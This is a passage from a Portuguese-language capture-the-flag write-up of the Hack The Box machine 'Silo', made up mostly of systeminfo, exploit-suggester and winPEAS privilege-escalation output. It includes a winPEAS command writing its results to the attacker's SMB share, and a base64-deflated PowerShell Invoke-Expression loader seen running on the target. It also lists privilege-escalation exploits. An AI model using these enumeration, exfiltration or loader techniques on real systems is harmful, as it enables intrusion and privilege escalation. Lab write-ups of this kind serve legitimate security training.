Boot Device:               \Device\HarddiskVolume1
System Locale:             en-gb;English (United Kingdom)
Input Locale:              en-gb;English (United Kingdom)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     2,047 MB
Available Physical Memory: 714 MB
Virtual Memory: Max Size:  2,431 MB
Virtual Memory: Available: 825 MB
Virtual Memory: In Use:    1,606 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 149 Hotfix(s) Installed.
                           [01]: KB2868626
                           [02]: KB2883200
                           [03]: KB2887595
                           [04]: KB2894852
                           [05]: KB2903939
                           [06]: KB2911106
                           [07]: KB2919355
                           [08]: KB2919394
                           [09]: KB2928680
                           [10]: KB2934520
                           [11]: KB2938066
                           [12]: KB2954879
                           [13]: KB2966826
                           [14]: KB2966828
                           [15]: KB2967917
                           [16]: KB2968296
                           [17]: KB2972103
                           [18]: KB2973114
                           [19]: KB2973351
                           [20]: KB2989930
                           [21]: KB3000850
                           [22]: KB3003057
                           [23]: KB3004361
                           [24]: KB3004365
                           [25]: KB3012702
                           [26]: KB3013172
                           [27]: KB3013791
                           [28]: KB3014442
                           [29]: KB3019978
                           [30]: KB3021910
                           [31]: KB3022777
                           [32]: KB3023219
                           [33]: KB3023266
                           [34]: KB3024751
                           [35]: KB3024755
                           [36]: KB3029603
                           [37]: KB3030377
                           [38]: KB3030947
                           [39]: KB3033446
                           [40]: KB3035126
                           [41]: KB3036612
                           [42]: KB3037576
                           [43]: KB3037924
                           [44]: KB3038002
                           [45]: KB3042085
                           [46]: KB3043812
                           [47]: KB3044374
                           [48]: KB3044673
                           [49]: KB3045634
                           [50]: KB3045685
                           [51]: KB3045717
                           [52]: KB3045719
                           [53]: KB3045755
                           [54]: KB3045992
                           [55]: KB3045999
                           [56]: KB3046017
                           [57]: KB3046737
                           [58]: KB3048043
                           [59]: KB3054169
                           [60]: KB3054203
                           [61]: KB3054256
                           [62]: KB3054464
                           [63]: KB3055323
                           [64]: KB3055343
                           [65]: KB3055642
                           [66]: KB3059317
                           [67]: KB3060681
                           [68]: KB3060793
                           [69]: KB3061512
                           [70]: KB3063843
                           [71]: KB3071756
                           [72]: KB3072307
                           [73]: KB3074228
                           [74]: KB3074545
                           [75]: KB3075220
                           [76]: KB3077715
                           [77]: KB3078405
                           [78]: KB3078676
                           [79]: KB3080042
                           [80]: KB3080149
                           [81]: KB3082089
                           [82]: KB3084135
                           [83]: KB3086255
                           [84]: KB3087041
                           [85]: KB3087137
                           [86]: KB3091297
                           [87]: KB3092601
                           [88]: KB3092627
                           [89]: KB3094486
                           [90]: KB3095701
                           [91]: KB3097992
                           [92]: KB3099834
                           [93]: KB3100473
                           [94]: KB3103616
                           [95]: KB3103696
                           [96]: KB3103709
                           [97]: KB3109103
                           [98]: KB3109976
                           [99]: KB3110329
                           [100]: KB3115224
                           [101]: KB3121261
                           [102]: KB3121461
                           [103]: KB3122651
                           [104]: KB3123245
                           [105]: KB3126033
                           [106]: KB3126434
                           [107]: KB3126587
                           [108]: KB3127222
                           [109]: KB3128650
                           [110]: KB3133043
                           [111]: KB3133690
                           [112]: KB3134179
                           [113]: KB3134815
                           [114]: KB3137728
                           [115]: KB3138602
                           [116]: KB3139164
                           [117]: KB3139398
                           [118]: KB3139914
                           [119]: KB3140219
                           [120]: KB3140234
                           [121]: KB3145384
                           [122]: KB3145432
                           [123]: KB3146604
                           [124]: KB3146723
                           [125]: KB3146751
                           [126]: KB3147071
                           [127]: KB3153704
                           [128]: KB3155784
                           [129]: KB3156059
                           [130]: KB3159398
                           [131]: KB3161949
                           [132]: KB3161958
                           [133]: KB3162343
                           [134]: KB3169704
                           [135]: KB3172614
                           [136]: KB3172729
                           [137]: KB3173424
                           [138]: KB3175024
                           [139]: KB3178539
                           [140]: KB3179574
                           [141]: KB3186539
                           [142]: KB4033369
                           [143]: KB4033428
                           [144]: KB4040972
                           [145]: KB4040974
                           [146]: KB4040981
                           [147]: KB4041777
                           [148]: KB4054854
                           [149]: KB4054519
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.82
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Entao, usando o windows-exploit-suggester.py verificamos as possibilidades existentes

python windows-exploit-suggester.py --database 2020-06-30-mssb.xls --systeminfo /root/HTB-Windows/silo/systeminfo-SILO.txt -l >> silo-exploit-local.txt

initiating winsploit version 3.3...
database file detected as xls or xlsx based on extension
attempting to read from the systeminfo input file
systeminfo input file read successfully (UTF-16)
querying database file for potential vulnerabilities
comparing the 150 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
there are now 159 remaining vulns
searching for local exploits only
[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
windows version identified as 'Windows 2012 R2 64-bit'

MS16-075: Security Update for Windows SMB Server (3164038) - Important
  https://github.com/foxglovesec/RottenPotato
  https://github.com/Kevin-Robertson/Tater
  https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
  https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation

MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
  https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
  https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
  https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC

MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
  https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
  https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF

MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
  http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC

done

Bom, podia simplesmente tentar potator ou um desses exploits. No entanto, vou tentar escalar de outro forma…

Continuando a enumeracao…

Esse eh o output do winpeas

PS C:\windows\temp> .\winPEASany.exe quiet searchfast >> \\10.10.14.37\tools\winpeas_silo.txt

ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
   Creating Dynamic lists, this could take a while, please wait...
   - Checking if domain...
   - Getting Win32_UserAccount info...
   - Creating current user groups list...
  [X] Exception: Object reference not set to an instance of an object.
  [X] Exception: The server could not be contacted.
   - Creating active users list...
   - Creating disabled users list...
   - Admin users list...
  WinPEAS vBETA VERSION, Please if you find any issue let me know in https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues by carlospolop

  [+] Leyend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

   [?] You can find a Windows local PE Checklist here: https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation


  ==========================================(System Information)==========================================

  [+] Basic System Information(T1082&T1124&T1012&T1497&T1212)
   [?] Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
    Hostname: SILO
    ProductName: Windows Server 2012 R2 Standard
    EditionID: ServerStandard
    ReleaseId: 
    BuildBranch: 
    CurrentMajorVersionNumber: 
    CurrentVersion: 6.3
    Architecture: AMD64
    ProcessorCount: 2
    SystemLang: en-US
    KeyboardLang: English (United Kingdom)
    TimeZone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
    IsVirtualMachine: True
    Current Time: 6/30/2020 1:41:57 PM
    HighIntegrity: False
    PartOfDomain: False
    Hotfixes: KB2868626, KB2883200, KB2887595, KB2894852, KB2903939, KB2911106, KB2919355, KB2919394, KB2928680, KB2934520, KB2938066, KB2954879, KB2966826, KB2966828, KB2967917, KB2968296, KB2972103, KB2973114, KB2973351, KB2989930, KB3000850, KB3003057, KB3004361, KB3004365, KB3012702, KB3013172, KB3013791, KB3014442, KB3019978, KB3021910, KB3022777, KB3023219, KB3023266, KB3024751, KB3024755, KB3029603, KB3030377, KB3030947, KB3033446, KB3035126, KB3036612, KB3037576, KB3037924, KB3038002, KB3042085, KB3043812, KB3044374, KB3044673, KB3045634, KB3045685, KB3045717, KB3045719, KB3045755, KB3045992, KB3045999, KB3046017, KB3046737, KB3048043, KB3054169, KB3054203, KB3054256, KB3054464, KB3055323, KB3055343, KB3055642, KB3059317, KB3060681, KB3060793, KB3061512, KB3063843, KB3071756, KB3072307, KB3074228, KB3074545, KB3075220, KB3077715, KB3078405, KB3078676, KB3080042, KB3080149, KB3082089, KB3084135, KB3086255, KB3087041, KB3087137, KB3091297, KB3092601, KB3092627, KB3094486, KB3095701, KB3097992, KB3099834, KB3100473, KB3103616, KB3103696, KB3103709, KB3109103, KB3109976, KB3110329, KB3115224, KB3121261, KB3121461, KB3122651, KB3123245, KB3126033, KB3126434, KB3126587, KB3127222, KB3128650, KB3133043, KB3133690, KB3134179, KB3134815, KB3137728, KB3138602, KB3139164, KB3139398, KB3139914, KB3140219, KB3140234, KB3145384, KB3145432, KB3146604, KB3146723, KB3146751, KB3147071, KB3153704, KB3155784, KB3156059, KB3159398, KB3161949, KB3161958, KB3162343, KB3169704, KB3172614, KB3172729, KB3173424, KB3175024, KB3178539, KB3179574, KB3186539, KB4033369, KB4033428, KB4040972, KB4040974, KB4040981, KB4041777, KB4054854, KB4054519, 

  [?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
    OS Build Number: 9600
   Windows version not supported


  [+] PowerShell Settings()
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 4.0
    Transcription Settings: 
    Module Logging Settings: 
    Scriptblock Logging Settings: 

  [+] Audit Settings(T1012)
   [?] Check what is being logged 
    Not Found

  [+] WEF Settings(T1012)
   [?] Windows Event Forwarding, is interesting to know were are sent the logs 
    Not Found

  [+] LAPS Settings(T1012)
   [?] If installed, local administrator password is changed frequently and is restricted by ACL 
    LAPS Enabled: LAPS not installed

  [+] Wdigest()
   [?] If enabled, plain-text crds could be stored in LSASS https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#wdigest
    Wdigest is not enabled

  [+] LSA Protection()
   [?] If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key) https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#lsa-protection
    LSA Protection is not enabled

  [+] Credentials Guard()
   [?] If enabled, a driver is needed to read LSASS memory https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#credential-guard
    CredentialGuard is not enabled

  [+] Cached Creds()
   [?] If > 0, credentials will be cached in the registry and accessible by SYSTEM user https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#cached-credentials
    cachedlogonscount is 10

  [+] User Environment Variables()
   [?] Check for some passwords or keys in the env variables 
    COMPUTERNAME: SILO
    USERPROFILE: C:\Windows\system32\config\systemprofile
    PUBLIC: C:\Users\Public
    LOCALAPPDATA: C:\Windows\system32\config\systemprofile\AppData\Local
    PSModulePath: WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
    PROCESSOR_ARCHITECTURE: AMD64
    Path: C:\oraclexe\app\oracle\product\11.2.0\server\bin;;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
    CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
    ProgramFiles(x86): C:\Program Files (x86)
    PROCESSOR_LEVEL: 23
    ProgramFiles: C:\Program Files
    PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
    PSExecutionPolicyPreference: Bypass
    SystemRoot: C:\Windows
    APP_POOL_ID: DefaultAppPool
    ALLUSERSPROFILE: C:\ProgramData
    APP_POOL_CONFIG: C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config
    FP_NO_HOST_CHECK: NO
    ProgramData: C:\ProgramData
    PROCESSOR_REVISION: 0102
    USERNAME: SILO$
    CommonProgramW6432: C:\Program Files\Common Files
    CommonProgramFiles: C:\Program Files\Common Files
    OS: Windows_NT
    PROCESSOR_IDENTIFIER: AMD64 Family 23 Model 1 Stepping 2, AuthenticAMD
    ComSpec: C:\Windows\system32\cmd.exe
    SystemDrive: C:
    TEMP: C:\Windows\TEMP
    NUMBER_OF_PROCESSORS: 2
    APPDATA: C:\Windows\system32\config\systemprofile\AppData\Roaming
    TMP: C:\Windows\TEMP
    ProgramW6432: C:\Program Files
    windir: C:\Windows
    USERDOMAIN: HTB

  [+] System Environment Variables()
   [?] Check for some passwords or keys in the env variables 
    FP_NO_HOST_CHECK: NO
    USERNAME: SYSTEM
    Path: C:\oraclexe\app\oracle\product\11.2.0\server\bin;;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\
    ComSpec: C:\Windows\system32\cmd.exe
    TMP: C:\Windows\TEMP
    OS: Windows_NT
    windir: C:\Windows
    PROCESSOR_ARCHITECTURE: AMD64
    TEMP: C:\Windows\TEMP
    PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PSModulePath: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
    NUMBER_OF_PROCESSORS: 2
    PROCESSOR_LEVEL: 23
    PROCESSOR_IDENTIFIER: AMD64 Family 23 Model 1 Stepping 2, AuthenticAMD
    PROCESSOR_REVISION: 0102

  [+] HKCU Internet Settings(T1012)
    User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
    IE5_UA_Backup_Flag: 5.0
    ZonesSecurityUpgrade: System.Byte[]
    EnableNegotiate: 1
    ProxyEnable: 0

  [+] HKLM Internet Settings(T1012)
    CodeBaseSearchPath: CODEBASE
    EnablePunycode: 1
    WarnOnIntranet: 1
    MinorVersion: 0
    ActiveXCache: C:\Windows\Downloaded Program Files

  [+] Drives Information(T1120)
   [?] Remember that you should search more info inside the other drives 
    C:\ (Type: Fixed)(Filesystem: NTFS)(Available space: 14 GB)(Permissions: Users [AppendData/CreateDirectories])
    D:\ (Type: CDRom)

  [+] AV Information(T1063)
  [X] Exception: Invalid namespace 
    No AV was detected!!
    Not Found

  [+] UAC Status(T1012)
   [?] If you are in the Administrators group check how to bypass the UAC https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
    ConsentPromptBehaviorAdmin: 5 - PromptForNonWindowsBinaries
    EnableLUA: 1
    LocalAccountTokenFilterPolicy: 
    FilterAdministratorToken: 0
      [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.
      [-] Only the RID-500 local admin account can be used for lateral movement.


  ===========================================(Users Information)===========================================

  [+] Users(T1087&T1069&T1033)
   [?] Check if you have some admin equivalent privileges https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
  Current user: [1:35mDefaultAppPool
  Current groups: Everyone, Users, Service, Console Logon, Authenticated Users, This Organization, IIS_IUSRS, Local, S-1-5-82-0
   =================================================================================================

    SILO\Administrator: Built-in account for administering the computer/domain
        |->Password: CanChange-Expi-Req

    SILO\Guest(Disabled): Built-in account for guest access to the computer/domain
        |->Password: NotChange-NotExpi-NotReq

    SILO\Phineas
        |->Password: NotChange-NotExpi-Req


  [+] Current Token privileges(T1134)
   [?] Check if you can escalate privilege using some enabled token https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#token-manipulation
    SeAssignPrimaryTokenPrivilege: DISABLED
    SeIncreaseQuotaPrivilege: DISABLED
    SeAuditPrivilege: DISABLED
    SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeCreateGlobalPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeIncreaseWorkingSetPrivilege: DISABLED

  [+] Clipboard text(T1134)


  [+] Logged users(T1087&T1033)
    Not Found

  [+] RDP Sessions(T1087&T1033)
    Not Found

  [+] Ever logged users(T1087&T1033)
    [1:35mIIS APPPOOL\.NET v2.0 Classic
    [1:35mIIS APPPOOL\.NET v4.5 Classic
    [1:35mIIS APPPOOL\.NET v2.0
    [1:35mIIS APPPOOL\.NET v4.5
    [1:35mIIS APPPOOL\Classic .NET AppPool
    SILO\Administrator
    SILO\Phineas

  [+] Looking for AutoLogon credentials(T1012)
    Some AutoLogon credentials were found!!
    DefaultUserName               :  Administrator

  [+] Home folders found(T1087&T1083&T1033)
    C:\Users\.NET v2.0
    C:\Users\.NET v2.0 Classic
    C:\Users\.NET v4.5
    C:\Users\.NET v4.5 Classic
    C:\Users\Administrator
    C:\Users\All Users
    C:\Users\Classic .NET AppPool
    C:\Users\Default
    C:\Users\Default User
    C:\Users\Phineas
    C:\Users\Public : Service [WriteData/CreateFiles]

  [+] Password Policies(T1201)
   [?] Check for a possible brute-force 
  [X] Exception: System.OverflowException: Negating the minimum value of a twos complement number is invalid.
   at System.TimeSpan.op_UnaryNegation(TimeSpan t)
   at d7.d()
    Domain: Builtin
    SID: S-1-5-32
    MaxPasswordAge: 42.22:47:31.7437440
    MinPasswordAge: 00:00:00
    MinPasswordLength: 0
    PasswordHistoryLength: 0
    PasswordProperties: 0
   =================================================================================================



  =======================================(Processes Information)=======================================

  [+] Interesting Processes -non Microsoft-(T1010&T1057&T1007)
   [?] Check if any interesting proccesses for memmory dump or if you could overwrite some binary running https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes
    powershell(1848)[C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe] -- POwn:[1:35m DefaultAppPool
    Command Line: "powershell.exe" -noninteractive -executionpolicy bypass Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('c7aKCc/MS8kvL44JSc0tiNGL8cwry89O1Q3IL08tCs5IzckJSS7QKyg25OUCAA==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
   =================================================================================================

    winPEASany(2692)[C:\windows\temp\winPEASany.exe] -- POwn:[1:35m DefaultAppPool -- isDotNet
    Command Line: "C:\windows\temp\winPEASany.exe"  quiet searchfast
   =================================================================================================

    conhost(2688)[C:\Windows\system32\conhost.exe] -- POwn:[1:35m DefaultAppPool
    Command Line: \??\C:\Windows\system32\conhost.exe 0x4
   =================================================================================================

    w3wp(2584)[c:\windows\system32\inetsrv\w3wp.exe] -- POwn:[1:35m DefaultAppPool
    Command Line: c:\windows\system32\inetsrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iisipm946f374b-3db9-47c0-b727-aebce55c9125 -h "C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config" -w "" -m 0 -t 20 -ta 0
   =================================================================================================



  ========================================(Services Information)========================================

  [+] Interesting Services -non Microsoft-(T1007)
   [?] Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
    OracleJobSchedulerXE(OracleJobSchedulerXE)[c:\oraclexe\app\oracle\product\11.2.0\server\Bin\extjob.exe XE] - Disabled - Stopped - No quotes and Space detected
    Possible DLL Hijacking in binary folder: c:\oraclexe\app\oracle\product\11.2.0\server\Bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
   =================================================================================================

    OracleMTSRecoveryService(Oracle Corporation - OracleMTSRecoveryService)[C:\oraclexe\app\oracle\product\11.2.0\server\BIN\omtsreco.exe "OracleMTSRecoveryService"] - Manual - Stopped
    Possible DLL Hijacking in binary folder: C:\oraclexe\app\oracle\product\11.2.0\server\BIN (Users [AppendData/CreateDirectories WriteData/CreateFiles])
   =================================================================================================

    OracleServiceXE(Oracle Corporation - OracleServiceXE)[c:\oraclexe\app\oracle\product\11.2.0\server\bin\ORACLE.EXE XE] - Auto - Running - No quotes and Space detected
    Possible DLL Hijacking in binary folder: c:\oraclexe\app\oracle\product\11.2.0\server\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
   =================================================================================================

    OracleXEClrAgent(Oracle Corporation - OracleXEClrAgent)[C:\oraclexe\app\oracle\product\11.2.0\server\bin\OraClrAgnt.exe agent_sid=CLRExtProc max_dispatchers=2 tcp_dispatchers=0 max_task_threads=6 max_sessions=25 ENVS="EXTPROC_DLLS=ONLY:C:\oraclexe\app\oracle\product\11.2.0\server\bin\oraclr11.dll"] - Auto - Running
    Possible DLL Hijacking in binary folder: C:\oraclexe\app\oracle\product\11.2.0\server\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
   =================================================================================================

    OracleXETNSListener(Oracle Corporation - OracleXETNSListener)[C:\oraclexe\app\oracle\product\11.2.0\server\BIN\tnslsnr.exe] - Auto - Running
    Possible DLL Hijacking in binary folder: C:\oraclexe\app\oracle\product\11.2.0\server\BIN (Users [AppendData/CreateDirectories WriteData/CreateFiles])
   =================================================================================================

    TPAutoConnSvc(ThinPrint GmbH - TP AutoConnect Service)["C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe"] - Manual - Stopped
    ThinPrint component for creating printers or connecting printer shares automatically.
   =================================================================================================

    TPVCGateway(Cortado AG - TP VC Gateway Service)["C:\Program Files\VMware\VMware Tools\TPVCGateway.exe"] - Manual - Stopped
    ThinPrint component that receives print data from dedicated print servers and forwards it to ThinPrint ICA/RDP Clients.
   =================================================================================================

    VGAuthService(VMware, Inc. - VMware Alias Manager and Ticket Service)["C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"] - Auto - Running
    Alias Manager and Ticket Service
   =================================================================================================

    VMTools(VMware, Inc. - VMware Tools)["C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"] - Auto - Running
    Provides support for synchronizing objects between the host and guest operating systems.
   =================================================================================================

    VMware Physical Disk Helper Service(VMware, Inc. - VMware Physical Disk Helper Service)["C:\Program Files\VMware\VMware Tools\vmacthlp.exe"] - Auto - Running
    Enables support for running virtual machines from a physical disk partition
   =================================================================================================

    VMwareCAFCommAmqpListener(VMware CAF AMQP Communication Service)["C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\CommAmqpListener.exe"] - Manual - Stopped
    VMware Common Agent AMQP Communication Service
   =================================================================================================

    VMwareCAFManagementAgentHost(VMware CAF Management Agent Service)["C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\ManagementAgentHost.exe"] - Auto - Running
    VMware Common Agent Management Agent Service
   =================================================================================================


  [+] Modifiable Services(T1007)
   [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
    You cannot modify any service

  [+] Looking if you can modify any service registry()
   [?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
    [-] Looks like you cannot change the registry of any service...

  [+] Checking write permissions in PATH folders (DLL Hijacking)()
   [?] Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
    (DLL Hijacking) C:\oraclexe\app\oracle\product\11.2.0\server\bin: Users [AppendData/CreateDirectories WriteData/CreateFiles]
    
    C:\Windows\system32
    C:\Windows
    C:\Windows\System32\Wbem
    C:\Windows\System32\WindowsPowerShell\v1.0\


  ====================================(Applications Information)====================================

  [+] Current Active Window Application(T1010&T1518)
System.NullReferenceException: Object reference not set to an instance of an object.
   at d1.b(String A_0, Dictionary`2 A_1)
   at d4.ar()

  [+] Installed Applications --Via Program Files/Uninstall registry--(T1083&T1012&T1010&T1518)
   [?] Check if you can modify installed software https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
    C:\oraclexe(Users [AppendData/CreateDirectories WriteData/CreateFiles])
    C:\Program Files\Common Files
    C:\Program Files\desktop.ini
    C:\Program Files\Internet Explorer
    C:\Program Files\MSBuild
    C:\Program Files\Reference Assemblies
    C:\Program Files\Uninstall Information
    C:\Program Files\Update Services
    C:\Program Files\VMware
    C:\Program Files\Windows Mail
    C:\Program Files\Windows NT
    C:\Program Files\WindowsApps
    C:\Program Files\WindowsPowerShell


  [+] Autorun Applications(T1010)
   [?] Check if you can modify other users AutoRuns binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.FileSystemEnumerableIterator`1.CommonInit()
   at System.IO.Directory.GetFiles(String path, String searchPattern, SearchOption searchOption)
   at dx.b()
   at dx.a(Dictionary`2 A_0)
   at d4.ap()

  [+] Scheduled Applications --Non Microsoft--(T1010)
   [?] Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
System.IO.FileNotFoundException: Could not load file or assembly 'Microsoft.Win32.TaskScheduler, Version=2.8.16.0, Culture=neutral, PublicKeyToken=c416bc1b32d97233' or one of its dependencies. The system cannot find the file specified.
File name: 'Microsoft.Win32.TaskScheduler, Version=2.8.16.0, Culture=neutral, PublicKeyToken=c416bc1b32d97233'
   at dx.a()
   at d4.ao()

WRN: Assembly binding logging is turned OFF.
To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1.
Note: There is some performance penalty associated with assembly bind failure logging.
To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog].



  =========================================(Network Information)=========================================

  [+] Network Shares(T1135)
  [X] Exception: System.Runtime.InteropServices.COMException (0x80070006): The handle is invalid. (Exception from HRESULT: 0x80070006 (E_HANDLE))
   at System.Runtime.InteropServices.Marshal.ThrowExceptionForHRInternal(Int32 errorCode, IntPtr errorInfo)
   at System.Runtime.InteropServices.Marshal.FreeHGlobal(IntPtr hglobal)
   at winPEAS.SamServer.c.d(Boolean A_0)
    ADMIN$ (Path: )
    C$ (Path: )
    IPC$ (Path: )

  [+] Host File(T1016)

  [+] Network Ifaces and known hosts(T1016)
   [?] The masks are only for the IPv4 addresses 
  [X] Exception: The requested protocol has not been configured into the system, or no implementation for it exists
    Ethernet0[00:50:56:B9:5D:D6]: 10.10.10.82 / 255.255.255.0
        Gateways: 10.10.10.2
        DNSs: 10.10.10.2
    Loopback Pseudo-Interface 1[]: 127.0.0.1, ::1 / 255.0.0.0
        DNSs: fec0:0:0:ffff::1%1, fec0:0:0:ffff::2%1, fec0:0:0:ffff::3%1

  [+] Current Listening Ports(T1049&T1049)
   [?] Check for services restricted from the outside 
    Proto     Local Address          Foreing Address        State
    TCP       0.0.0.0:80                                    Listening
    TCP       0.0.0.0:135                                   Listening
    TCP       0.0.0.0:445                                   Listening
    TCP       0.0.0.0:1521                                  Listening
    TCP       0.0.0.0:5985                                  Listening
    TCP       0.0.0.0:47001                                 Listening
    TCP       0.0.0.0:49152                                 Listening
    TCP       0.0.0.0:49153                                 Listening
    TCP       0.0.0.0:49154                                 Listening
    TCP       0.0.0.0:49155                                 Listening
    TCP       0.0.0.0:49158                                 Listening
    TCP       0.0.0.0:49160                                 Listening
    TCP       0.0.0.0:49161                                 Listening
    TCP       0.0.0.0:49162                                 Listening
    TCP       10.10.10.82:139                               Listening
    TCP       127.0.0.1:8080                                Listening
    TCP       127.0.0.1:49156                               Listening
    TCP       [::]:80                                       Listening
    TCP       [::]:135                                      Listening
    TCP       [::]:445                                      Listening
    TCP       [::]:1521                                     Listening
    TCP       [::]:5985                                     Listening
    TCP       [::]:47001                                    Listening
    TCP       [::]:49152                                    Listening
    TCP       [::]:49153                                    Listening
    TCP       [::]:49154                                    Listening
    TCP       [::]:49155                                    Listening
    TCP       [::]:49158                                    Listening
    TCP       [::]:49160                                    Listening
    TCP       [::]:49161                                    Listening
    TCP       [::]:49162                                    Listening
    UDP       0.0.0.0:123                                   Listening
    UDP       0.0.0.0:500                                   Listening
    UDP       0.0.0.0:4500                                  Listening
    UDP       0.0.0.0:5355                                  Listening
    UDP       10.10.10.82:137                               Listening
    UDP       10.10.10.82:138                               Listening
    UDP       127.0.0.1:61537                               Listening
    UDP       [::]:123                                      Listening
    UDP       [::]:500                                      Listening

  [+] Firewall Rules(T1016)
   [?] Showing only DENY rules (too many ALLOW rules always) 
    Current Profiles: PUBLIC
    FirewallEnabled (Domain):    True
    FirewallEnabled (Private):    False
    FirewallEnabled (Public):    False
    DENY rules:

  [+] DNS cached --limit 70--(T1016)
    Entry                                 Name                                  Data


  =========================================(Windows Credentials)=========================================

  [+] Checking Windows Vault()
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
    Not Found

  [+] Checking Credential manager()
   [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
    This function is not yet implemented.
    [i] If you want to list credentials inside Credential Manager use 'cmdkey /list'

  [+] Saved RDP connections()
    Not Found

  [+] Recently run commands()
    Not Found

  [+] Checking for DPAPI Master Keys()
